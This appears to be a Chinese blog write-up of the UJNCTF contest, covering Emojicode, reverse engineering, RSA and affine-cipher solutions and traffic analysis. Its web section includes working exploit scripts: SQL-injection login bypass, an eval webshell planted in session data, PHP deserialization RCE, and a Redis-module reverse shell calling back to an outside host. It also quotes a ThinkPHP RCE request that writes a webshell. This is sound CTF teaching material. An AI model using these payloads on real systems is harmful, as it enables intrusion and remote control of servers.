🔤☝💒😃👠👗👇🐆🌆⚠🚔😷🎺🏥🙎🌈👾👏😯🐋🔋💄☕💔🐜😞💪🔤 🔤🌸🐳💡📎🐹😆🍓☀👗🚧🚢🍔🔌😨📷👳💧🐾🐝🔕🐍👪🚒🐸🔮👨🔤 🔤🐺🏇👔🍀🌛🏡🐱🚉😣♠👞🚂🙋☎🚅🌈🌋📆🍙🙉👨🍲📙💎✋🏩🔤 🔤🐓🏃📎🌇🍏🌹☝🎻🐧😪🐃💳💰🍐👇🐟🙇😱📡👝👄📐🔪☁💬⭐🔤 🔤💉🌙☀📭📨👋🌆🚝💘💻😄💩🔋🐟🔈📢👍🌖📌🐲💕🍛❕🍷🏀🐸🔤 🔤🐤👫🚠💨📖🚦🔑📥🔪🏈🚒💌🌴👪😦🙇🌍📘😍😞👲🍸🐙☎🎨😸🔤 🍆 ➡️ list
💭 😀 🐽list 2❗️❗️
🍉

两个🔤🔤中间跟的是常量,所以这中间的一堆emoji就是字符串,然后后面访问了list[2]这个元素,可以下载emojicode然后编译跑一遍,但是没有输出,因为多了一个💭

https://www.emojicode.org/docs/reference/basics.html

其实就是个注释,去掉即可

本质就是访问列表中的2号元素,拿出来是这个东西👝👣👘👞👲👰🐧👬👖👘👩🐪👖👜👤🐧👡🐨👖👤👘👪👫🐪👩👴

emoji decode解一下获得flag 网址:http://www.atoolbox.net/Tool.php?Id=937

当然也可以去掉注释,然后编译一下,然后再去emoji解码

flag{y0u_ar3_em0j1_mast3r}

reverse

dragon

flag{l3m0n_l0v3_bas364}

最基本的base64代码,不过换了个表,解码就好

import base64
import string

table = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/"
old_table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

flag1 = "zMXHz3TSm20WBL9SmhyZx2jHCZm2nh0="

flag = base64.b64decode(flag1.translate(str.maketrans(table,old_table)))
print(flag)

equation

2020羊城杯原题,只不过去掉了pyc反编译的过程,原题链接:https://la13x.github.io/2021/04/16/buuctf-reverse1/#1-%E7%BE%8A%E5%9F%8E%E6%9D%AF-2020-login

flag{58964088b637e50d3a22b9510c1d1ef8}

flattening

出题人视角

WDNMD 真难编译,出这个题让👴🏻知道了编译不是靠人品

gcc和g++要切到8.x版本才行,然后要改个啥文件来着char改为uint_8好像是,不管了,反正👴🏻编好了,总之就是很水的一个题,知道混淆技术了那就是白给题,反正👴🏻是👣本小子,👴🏻只会用工具去混淆,👴🏻还有很多东西要学

解题人视角

ida走一波

WDNMD,意识到并不简单,看看CFG

血压上来了,但是问题不大,控制流平坦化,参见这个:https://la13x.github.io/2021/04/18/hardCpp/

用deflat一把梭,先找找入口地址

舒服了

什么白给签到题😅

直接在data段找到key每个值异或0x37就出了

#include <stdio.h>

int main()
{
int key[] =
{
116,
7,
89,
67,
69,
7,
123,
104,
81,
6,
7,
64,
104,
81,
6,
86,
67,
67,
4,
89,
94,
89,
80,
104,
6,
68,
104,
69,
4,
86,
6,
6,
78,
104,
6,
89,
67,
4,
69,
4,
68,
67,
6,
89,
80,
55
};

for(int i = 0; i < sizeof(key)/4; i++)
{
printf("%c", key[i]^0x37);
}
printf("\n");
return 0;
}

flag{C0ntr0L_f10w_f1att3ning_1s_r3a11y_1nt3r3st1ng}

wp by Sparta_EN

签到

根据描述 直接在 CTFd 页面查看源码

image.png

Web

Simple PHP

www.zip 获取源码 debug_only/infoinfoinfome.php 查看PHPInfo

直接看源码 SQL 没做过滤,使用了 password_hash()对密码取 hash

构造 Payload username=' UNION SELECT 1337, 'testuser', '$2y$10$CkDlt51VAEIFDp5A8YVft.rzVRjuHhe9YzYI1Cug0nwJzmamvx1EK', '' -- &password=passw0rd 这里的 hash 即 passw0rd的 hash 根据登陆页面的 hint, id 取 1337 可以通过登入后的 check

登入后发现我们可以更新用户数据,参考源码 我们发现这个应用会把用户数据序列化后写入 SESSION

image.png

而且 index.php做了一系列的检查,但是没有过滤 session 文件,因此我们可以更新用户任意字段(密码除外)为一句话木马

结合 phpinfo(); 的结果,我们可以找到会话路径为 /var/lib/php/sessions

即可进行会话包含。发现 flag 为 /flag-<随机字符>cat下读出即可。

image.png

附 EXP

import requests
sess = requests.session()
# password=test&username=123%27%20UNION%20SELECT%201,%27test%27,%27$2a$12$QBE87yzDmO9BEq1JWZq1eODkoVzbk6mQ0nyU400CB90Vz8SSi9b2m%27,%27%27%20+--+
target = "http://152.136.99.28:30166/"
session_path = "/var/lib/php/sessions/"


# passw0rd
# $2y$10$CkDlt51VAEIFDp5A8YVft.rzVRjuHhe9YzYI1Cug0nwJzmamvx1EK
payload = {
"username": "' UNION SELECT 1337, 'testuser', '$2y$10$CkDlt51VAEIFDp5A8YVft.rzVRjuHhe9YzYI1Cug0nwJzmamvx1EK', '' -- ",
"password": "passw0rd"
}

print("[+] Trying to auth with sql injection")

r = sess.post(f"{target}/login.php", data=payload, allow_redirects=False)

session_id = r.cookies.get("PHPSESSID")

print(f'[*] Session ID: {session_id}')

if r.status_code != 302:
print("[!] Auth failure!")

print('[+] Updating user info with malicious data')

payload = {
"username": "user",
"password": "passw0rd",
# Where the magic happens
"description": "<?php eval($_REQUEST[\"cmd\"]); ?>"
}

r = sess.post(f"{target}/index.php?page=me.php", data=payload)

print("[+] Refreshing session...")

sess.get(f"{target}/index.php?page=me.php")

params = {
"cmd": "echo system('cat /flag*');",
"page": f"../../../../../../{session_path}/sess_{session_id}"
}

r = sess.get(f"{target}/index.php", params=params)

print("[+] Getting flag")

print(r.text)

Expresssssss

下载附件 虽然看样子是使用了非对称密钥体制实现 JWT,但很明显,算法选错了

image.png

非对称体制应当使用 RS256而非HS256,是一个很严重的错误配置,我们继续往后看

image.png

serverConfig 在上文是空的,而这里需要serverConfig.isOpen 为 true,再加上上面的源码有对用户输入进行merge操作。

image.png

看一下我们的 cookie 发现 PK 以及发过来了。

我们可以使用这个 PK 通过 HS256自己签发 JWT 进入 /admin

这样我们不妨构造原型污染

image.png

替换掉cookie

image.png

Happy PHP

image.png

这里需要构造反序列化

但这里对对应的字段进行了验证,我们无法通过改数量绕过__wakeup(),可以改变对象的大小写来绕过检测。

x=O:1:"B":1:{s:1:"a";O:1:"a":2:{s:4:"code";s:24:"eval($_REQUEST["code"]);";&code=echo%20123;

可以看到回显

image.png

image.png

image.png

open_base_dirdisable_functions都给限制死了

看一下当前目录吧

image.png

有个.config.swp.php

把文件拖下来,vim 恢复下 得到 mysql 与 redis 凭据,试了下 redis 貌似好使。但貌似没法写文件。

image.png

我们不妨看看这个 redis 是否能够载入恶意 module。这里使用了 https://github.com/n0b0dyCN/RedisModules-ExecuteCommand

将其写入 /tmp目录,然后登录到 redis 载入 反弹 shell 到服务器

编写 EXP

import requests
import base64

# base = O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:24:"eval($_REQUEST["code"]);";}}

target = "http://152.136.99.28:30108"

redis_rce_mod = b''

l_host = "1.1.1.1"

l_port = "1234"


def rce(code, additional=""):
payload = {
"x": 'O:1:"B":1:{s:1:"a";O:1:"a":2:{s:4:"code";s:24:"eval($_REQUEST["code"]);";}}',
"code": code,
"additional": additional
}
r = requests.post(target, data=payload)
if (r.status_code != 200):
raise Exception(r.text)
return r.text[132:]


with open('module.so', 'rb') as f:
redis_rce_mod = f.read()

if rce("echo 'Sparta_EN';") == "Sparta_EN":
print("[*] RCE confirmed!")

print("[+] Uploading malicious redis module...")

rce("file_put_contents('/tmp/module.so', base64_decode($_REQUEST['additional']));", base64.b64encode(
redis_rce_mod).decode('utf-8'))

rce("chmod('/tmp/module.so', 0777);")

print("[+] Trying to trick redis load module and get a reverse shell...")


revershell_payload = f"""set_time_limit(0);

$socket = socket_create(AF_INET, SOCK_STREAM, 0);
socket_connect($socket, "127.0.0.1", 6379);

$payload1 = "*1\r\n$7\r\nCOMMAND\r\n";
$payload2 = "*2\r\n$4\r\nauth\r\n$26\r\nhehe_redis_goes_brrrrrrrrr\r\n";
$payload3 = "*3\r\n$6\r\nmodule\r\n$4\r\nload\r\n$14\r\n/tmp/module.so\r\n";
$payload4 = "*3\r\n$10\r\nsystem.rev\r\n${len(l_host)}\r\n{l_host}\r\n${len(l_port)}\r\n{l_port}\r\n";
socket_write($socket, $payload1, strlen($payload1));
$out = socket_read($socket, 2048);
echo $out;
socket_write($socket, $payload2, strlen($payload2));
$out = socket_read($socket, 2048);
echo $out;
socket_write($socket, $payload3, strlen($payload3));
$out = socket_read($socket, 2048);
echo $out;
socket_write($socket, $payload4, strlen($payload4));
"""

print(rce(revershell_payload))

print("[+] Check your nc!")

image.png

cat /flag发现没权限,而之前有个记录 payload 的函数有提示我们使用 readlog 查看记录。

看下 binary

image.png

是个 setuid

不妨执行下 发现可以目录穿越,读出 flag

image.png

Crypto

EZ Crypto

仿射密码

直接上脚本

def egcd(a, b):
x, y, u, v = 0, 1, 1, 0
while a != 0:
q, r = b//a, b % a
m, n = x-u*q, y-v*q
b, a, x, y, u, v = a, r, u, v, m, n
gcd = b
return gcd, x, y


def modinv(a, m):
gcd, x, y = egcd(a, m)
if gcd != 1:
return None # modular inverse does not exist
else:
return x % m


def encrypt(text, key):
'''
C = (a*P + b) % 26
'''
return ''.join([chr(((key[0]*(ord(t) - ord('A')) + key[1]) % 26)
+ ord('A')) for t in text.upper().replace(' ', '')])


def decrypt(cipher, key):
'''
P = (a^-1 * (C - b)) % 26
'''
return ''.join([chr(((modinv(key[0], 26)*(ord(c) - ord('A') - key[1]))
% 26) + ord('A')) for c in cipher])


key = [17, 20]

c = "EKZZJKZZYUBBAHK"

print(f"flag{{{decrypt(c, key)}}}")

flag{WELLHELLOAFFINE}

Baby RSA

CtfRsaTool 一把梭 comfact_cn可出

由于 m 中包含了 p 那么我们可以通过 求 c 与 n 的最大公约数求出 q

后面按照标准流程解密就好了

from Crypto.Util.number import *


n = 13099786225848114426288735042622063709429417979653559902255130110659975926568234663676756524835204106945448519122951053919052978834452790083656081239724399724465813907281626036733220108031627090004400217055377991780064228481074731242267303495888888602962900043528353166689119375820829095012486469286192640858709120034967539197423507664888963829638473265043059180698438334763097949285344221617697610851153154943002108316864408271636493080517356530114745146546897588878707507824683476104289624176537904920121831095000551916845112223416432133409395056783383953717096046196532887274225485656111146665584317804803318338909

c = 8559655499265896361118223899353477299042241757209602984255991793623671902400849937041183417595204298397177450326134011299326668532961582184674623363025538600270072707047163533208789053017456849333485228029982885219677656015050632558654985633574879301710404077674861745881754178023445783080693280818480184811356779954303543761230708350552871210348291625654157493398915163250634555513484314769991628473845225469274037082850635228850870120629706273968570480643866051827420679768935556198892958086984241175115383476535497399981543828236629739929537486115788597861436866044189520462578886229791185703549894677979975800817

p = GCD(n, c)

q = n // p

e = 0x10001

phi = (p-1) * (q-1)

d = inverse(e, phi)

M = pow(c, d, n)

m = M // 114514 // p

print(long_to_bytes(m))

flag{f299e536-71df-2a9c-4189-1541f4724e2b}

我大E了

这里看到的 e 非常大,可以使用 wiener求d https://github.com/orisano/owiener,有了d, n e2我们就能求出 p, q 再往后就能可以根据 RSA 的标准流程处理解密了

from Crypto.Util.number import inverse, long_to_bytes, GCD
import wiener
import fractions
import random

# https://github.com/orisano/owiener

e1 = 0x10001
e2 = 30749686305802061816334591167284030734478031427751495527922388099381921172620569310945418007467306454160014597828390709770861577479329793948103408489494025272834473555854835044153374978554414416305012267643957838998648651100705446875979573675767605387333733876537528353237076626094553367977134079292593746416875606876735717905892280664538346000950343671655257046364067221469807138232820446015769882472160551840052921930357988334306659120253114790638496480092361951536576427295789429197483597859657977832368912534761100269065509351345050758943674651053419982561094432258103614830448382949765459939698951824447818497599
n = 109966163992903243770643456296093759130737510333736483352345488643432614201030629970207047930115652268531222079508230987041869779760776072105738457123387124961036111210544028669181361694095594938869077306417325203381820822917059651429857093388618818437282624857927551285811542685269229705594166370426152128895901914709902037365652575730201897361139518816164746228733410283595236405985958414491372301878718635708605256444921222945267625853091126691358833453283744166617463257821375566155675868452032401961727814314481343467702299949407935602389342183536222842556906657001984320973035314726867840698884052182976760066141
c1 = 71583783682021619717999479268651786751161610363987881699058479972417097127681864247477848165312443269552261650281395262160728715862254920244393628296570316218768130014057719355479608374320909554953446063226545440801131248900137089609895608341522946793200814556574254250659621793341199431483521650853287065268462347854129303033847182723629092195909957117089056444411650802573134427914604925772044236086815457154819679424034812539639758661460317397185002960311032637913793371456665287379240275667317336526891584182621458450580573412613408361770289740079739848770272206592041842234862740865747628519852066267368160881640
c2 = 55494113780323304422454443648470010911900254740052633133363579960778021288760719271727939446265317907324037593785145992975447677054351886369334354944686849950347151902030735393458784973074467509096895699845403768218581207266475016330668907743203265620833738555574220981953741412558878717721926421279776436821288860990364711094386574370156520178658536435862325596193413858200565399019959529641748661306266278353593276972984410712399939855516008418931398046437081154108451462740956025357863828658378552113064369320441912407668462443383302645820142910970079821181611519951712237177739140891042508920500678667417508093499

d2 = wiener.attack(e2, n)

# https://github.com/ius/rsatool/blob/master/rsatool.py


def factor_modulus(n, d, e):
"""
Efficiently recover non-trivial factors of n
See: Handbook of Applied Cryptography
8.2.2 Security of RSA -> (i) Relation to factoring (p.287)
http://www.cacr.math.uwaterloo.ca/hac/
"""
t = (e * d - 1)
s = 0

while True:
quotient, remainder = divmod(t, 2)

if remainder != 0:
break

s += 1
t = quotient

found = False

while not found:
i = 1
a = random.randint(1, n-1)

while i <= s and not found:
c1 = pow(a, pow(2, i-1, n) * t, n)
c2 = pow(a, pow(2, i, n) * t, n)

found = c1 != 1 and c1 != (-1 % n) and c2 == 1

i += 1

# p = fractions.gcd(c1-1, n)
p = GCD(c1-1, n)
q = n // p

return p, q


p, q = factor_modulus(n, d2, e2)


phi = (p - 1)*(q - 1)

d1 = inverse(e1, phi)

m = pow(c1, d1, n)

print(long_to_bytes(m))

flag{14c78aaf-9221-1899-3a7f-0f287f3f6790}

Misc

EZ Traffic

流量审计

image.png

先看下统计 HTTP 偏多, 那就看看 HTTP 服务

看下 HTTP

image.png

这几个 traffic 蛮可疑的

image.png

还有一个 flag.zip

我们不妨先把这个文件解出来 发现有密码 就继续往上看

config.php?cmd=xxxx比较可疑 base64 解码后看不到内容 那就继续往上看

GET /?s=index%7Cthink%5Capp%2Finvokefunction&function=call_user_func_array&vars%5B0%5D=file_put_contents&vars%5B1%5D%5B0%5D=config.php&vars%5B1%5D%5B1%5D=%3C%3Fphp+eval%28gzinflate%28base64_decode%28%24_REQUEST%5B%22cmd%22%5D%29%29%29%3B+%3F%3E HTTP/1.1
Host: 47.100.41.68
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: /
Connection: keep-alive

发现这里写了一个 config.php 的马 内容为 <?php eval(gzinflate(base64_decode($_REQUEST['cmd'])));

所以我们还需要一个 gzinflate

下面看 response 部分 发现 包 3214 有返回 zip 的结果 我们给他的 request 解密

echo system("zip --password K5bi8UgMNGC97QhPHgpRrrWtYZYkoe7C flag.zip /flag");

解压得 flag

image.png

文章作者: Alex
文章链接: http://example.com/2021/10/11/UJNCTF校赛wp/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Alex's blog~